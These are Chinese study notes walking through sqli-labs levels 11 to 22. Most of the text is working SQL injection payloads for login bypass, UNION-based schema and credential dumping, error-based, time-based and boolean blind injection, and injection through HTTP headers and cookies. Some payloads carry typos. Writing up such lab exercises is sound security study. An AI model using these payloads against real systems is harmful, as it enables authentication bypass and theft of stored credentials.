Less-11
在username输入'返回显示存在SQL语法错误，证明存在注入漏洞
username和password都先输入admin登陆成功 并发现是post传出
所以使用burpsuite抓包软件得到post传参数据：uname=admin&passwd=admin&submit=Submit
将此语句放入hackbar下的Post data执行，显示登录成功，在admin后加'报错，
这时使用or 1=1语句并用#注释（此处不能用--+，因为--+主要使用在URL中）uname=admin' or 1=1#&passwd=admin&submit=Submit再执行成功，证明存在注入漏洞
在password位置也尝试此语句uname=a&passwd=a' or 1=1#&submit=Submit 登录成功，开始构造
使用order by语句uname=admin' order by 3#&passwd=admin&submit=Submit或uname=admin'&passwd=admin' order by 3#&submit=Submit 查询出共有2列
查数据库 uname=n' union select database(),2#&passwd=n&submit=Submit
查库（limit与group_concat的区别）uname=n' union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=n &submit=Submit
uname=n' union select 1,schema_name from information_schema.schemata limit 1,1#&passwd=n&submit=Submit
查表 uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=n&submit=Submit
查列 uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=n&submit=Submit
查字段 (分开查)uname=n' union select 1,group_concat(password) form security.users #passwd=admin&submit=Submit
uname=n' union select 1,group_concat(username) form security.users#passwd=admin&submit=Submit
为了一次性查询 引入一个新的函数：
concat_ws（）
concat_ws(separator,str1,str2,...) 是concat()的特殊形式，只不过比concat()在每个数据间多了分隔符，而第一个参数是其它参数的分隔符，分隔符的位置放在要连接的两个字符串之间，分隔符可以是一个字符串，也可以是其它参数。
例：select concat_ws(',','11','22','33')，结果是：11,22,33
uname=n' union select 1,group_concat(concat_ws(0x7e,username,password)) form security.users#passwd=admin&submit=Submit
Less-12
' ') ')) " ") "))其实就这几种sql语句错误类型一一带入尝试，回显存在sql语句错误证明有注入漏洞并得到构造语句，仅显示登陆失败而无其他回显不能证明
经测试这道题的双引号加括号闭合，语句为uname=admin") or 1=1#&passwd=a&submit=Submit 接下来的与Less-11几乎无差
Less-13
单引号加括号闭合') ,无回显下面进行盲注：（有的仅为样例payload:）
floor报错注入
uname= n') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as n from information_schema.tables group by n#&passwd= ')or 1=1#&submit=Submit
uname= n') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit
uname= n') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit
uname= n') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit
uname= n') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit
时间延迟型注入
uname=n') and if(left(database(),1)='s',sleep(3),1)#&passwd=n')&submit=Submit
uname=n') and if(length(database())=8,sleep(3),1)#&passwd=n')&submit=Submit
uname=n') and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(3),1)#&passwd=n')&submit=Submit
uname=n') and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(3),1)#&passwd=n')&submit=Submit
uname=n') and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(3),1)#&passwd=n')&submit=Submit
布尔盲注
uname=n') or (length(database()))=8#&passwd=n' or 1=1#&submit=Submit
uname=n') or (ascii(substr((select database()),1,1)))=115 #&passwd=n' or 1=1#&submit=Submit
Less-14
双引号闭合" ，无回显，用布尔或延时注入
Less-15
单引号闭合'，无回显，用布尔或延时注入
Less-16
双引号加括号闭合")，无回显，用布尔或延时注入
首先了解下：updatexml()函数：
updatexml(XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以上网进一步学习。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值
而我们的注入语句为：select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1)
其中的concat()函数是将其连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误，爆出
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'
Less-17
这道题中username被过滤，而password并没有被过滤，所以可以考虑从password入手，
首先输入正确的用户名，然后通过updatexml报错：and updatexml(1,payload,1)语句最长输出32位，并且该语句对payload的返回类型也做了限制，只有在payload返回的不是xml格式才会生效
uname=admin&passwd=()&submit=Submit将以下语句逐个套用即可
a' or updatexml(1,concat('#',(select database())),1)#
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
' or updatexml(1,concat('#',(select * from (select concat_ws(' ',id,username,password) from users limit 0,1) a)),1)#
Less-18
（此题其实很复杂，本菜鸡也也刚把自己弄懂，所以过程有些粗略）
登录失败显示IP地址,登陆成功显示IP地址和User Agent
而在username和password处进行注入的话会发现被转义
用抓包软件来进行抓包并修改User-Agent的值，由于方便我用了火狐浏览器的Http Headers Live (post是Http头协议的一种请求方式)
样例爆库payload：' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#
Less-19
同18
样例爆库payload：' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Less-20
回显是referer，查一下php文件可以发现，insert语句中向数据库插入了referer，所以注入点改为referer，paylaod和上一题完全一样，也可以参照less-12，将其双引号改为单引号
样例爆库payload：' or updatexml(1,concat(0x7e,database(),0x7e),1) #（这里因为不是Inser语句 ， 所以我们在补全SQL语句的时候不需要加”,”）
注入结束
Less-21
本关对cookie进行了base64的处理，其他的处理流程和less20是一样的。
我们这里可以利用less20同样的方法，但是需要将payload进行base64编码处理（注意这里对uname进行了 ('uname')的处理）
Cookie：
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
Less-22
本关和less20、less21是一致的，我们可以从源代码中看到这里对uname进行了"uname"的处理，可以构造payload：
admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
Payload进行base64编码后，修改cookie再进行提交